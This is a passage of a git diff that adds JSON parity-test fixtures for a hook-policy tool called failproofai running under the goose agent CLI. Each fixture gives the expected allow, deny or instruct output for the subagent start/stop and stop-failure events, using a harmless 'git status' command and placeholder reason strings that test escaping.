"hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..8e324e80 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ef7ca8aa --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..14bf74fb --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..ae86a6ce --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..4e9084c3 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..03a8295c --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..90b7b10a --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c98341a2 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "goose", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..98b45f89 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..7768bfce --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7d42e59d --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "goose", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..dd789767 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "goose", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1b3b109f --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..26af4568 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..c797ad67 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "goose", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..a1c492af --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "goose", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..77f39679 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..7de526e4 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fdd2c208 --- /dev/null +++ b/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "goose", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "goose", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStop", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/goose/SubagentStop/allow-silent__tool-present__two-policies.json 